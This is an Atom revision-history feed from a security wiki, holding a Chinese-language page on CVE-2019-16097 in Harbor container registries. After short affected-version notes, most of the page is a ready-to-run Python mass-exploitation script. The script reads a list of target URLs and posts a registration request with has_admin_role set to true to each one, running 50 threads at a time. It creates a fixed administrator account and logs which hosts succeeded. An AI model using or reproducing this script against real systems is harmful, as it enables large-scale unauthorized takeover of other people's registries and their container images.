<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Harbor_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E8%A8%BB%E5%86%8A%E6%BC%8F%E6%B4%9E</id>
	<title>Harbor 任意管理員註冊漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Harbor_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E8%A8%BB%E5%86%8A%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Harbor_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E8%A8%BB%E5%86%8A%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T22:40:00Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Harbor_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E8%A8%BB%E5%86%8A%E6%BC%8F%E6%B4%9E&amp;diff=1769&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影響版本== Harbor 1.7.0版本至1.8.2版本  ==不受影響版本== Harbor&gt;= 1.7.6  Harbor&gt;= 1.8.3  ==批量利用POC== &lt;pre&gt; import requests import threading import log...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Harbor_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E8%A8%BB%E5%86%8A%E6%BC%8F%E6%B4%9E&amp;diff=1769&amp;oldid=prev"/>
		<updated>2021-04-20T06:02:33Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影響版本== Harbor 1.7.0版本至1.8.2版本  ==不受影響版本== Harbor&amp;gt;= 1.7.6  Harbor&amp;gt;= 1.8.3  ==批量利用POC== &amp;lt;pre&amp;gt; import requests import threading import log...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==影響版本==&lt;br /&gt;
Harbor 1.7.0版本至1.8.2版本&lt;br /&gt;
&lt;br /&gt;
==不受影響版本==&lt;br /&gt;
Harbor&amp;gt;= 1.7.6&lt;br /&gt;
&lt;br /&gt;
Harbor&amp;gt;= 1.8.3&lt;br /&gt;
&lt;br /&gt;
==批量利用POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
import threading&lt;br /&gt;
import logging&lt;br /&gt;
&lt;br /&gt;
data='{&amp;quot;username&amp;quot;:&amp;quot;biubiubiu&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;biubiubiu11@qq.com&amp;quot;,&amp;quot;realname&amp;quot;:&amp;quot;biubiu1biu&amp;quot;,&amp;quot;password&amp;quot;:&amp;quot;Aa111111&amp;quot;,&amp;quot;comment&amp;quot;:&amp;quot;biubiubiu&amp;quot;,&amp;quot;has_admin_role&amp;quot;:true}'&lt;br /&gt;
&lt;br /&gt;
headers={&amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
def poc(url):&lt;br /&gt;
    pwn_url=url+&amp;quot;/api/users&amp;quot;&lt;br /&gt;
    payload=data&lt;br /&gt;
    try:&lt;br /&gt;
        r=requests.post(pwn_url, data=payload,headers=headers,timeout=10)&lt;br /&gt;
        print(pwn_url)&lt;br /&gt;
        print(r.status_code)&lt;br /&gt;
        if r.status_code == 201:&lt;br /&gt;
            print(&amp;quot;\n\n you has created a user,username=biubiubiu,password=Aa111111&amp;quot;)&lt;br /&gt;
            f.write(url+&amp;quot;       The URL has created a user,username=biubiubiu,password=Aa111111&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;The vulnerability does not exist on the website or the account name has been written&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        logging.warning(pwn_url)&lt;br /&gt;
        print(e)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    print (&amp;quot;this is a CVE-2019-16097 poc&amp;quot;)&lt;br /&gt;
    print(&amp;quot;more cve-2019-16097 info welcome to https://www.lstazl.com&amp;quot;)&lt;br /&gt;
    f=open(&amp;quot;results.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
    url_list=[i.replace(&amp;quot;\n&amp;quot;,&amp;quot;&amp;quot;) for i in open(&amp;quot;urls.txt&amp;quot;,&amp;quot;r&amp;quot;).readlines()]&lt;br /&gt;
    for url in url_list:&lt;br /&gt;
        threading.Thread(target=poc,args=(url,)).start()&lt;br /&gt;
        while 1:&lt;br /&gt;
            if (len(threading.enumerate())&amp;lt;50):&lt;br /&gt;
                break&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.在urls.txt中添加你要檢測的url&lt;br /&gt;
&lt;br /&gt;
2.python3環境下運行cve-2019-16097腳本 python3 cve-2019-16097.py&lt;br /&gt;
&lt;br /&gt;
3.批量檢測完成後再results中查看成功寫入賬號的url。&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>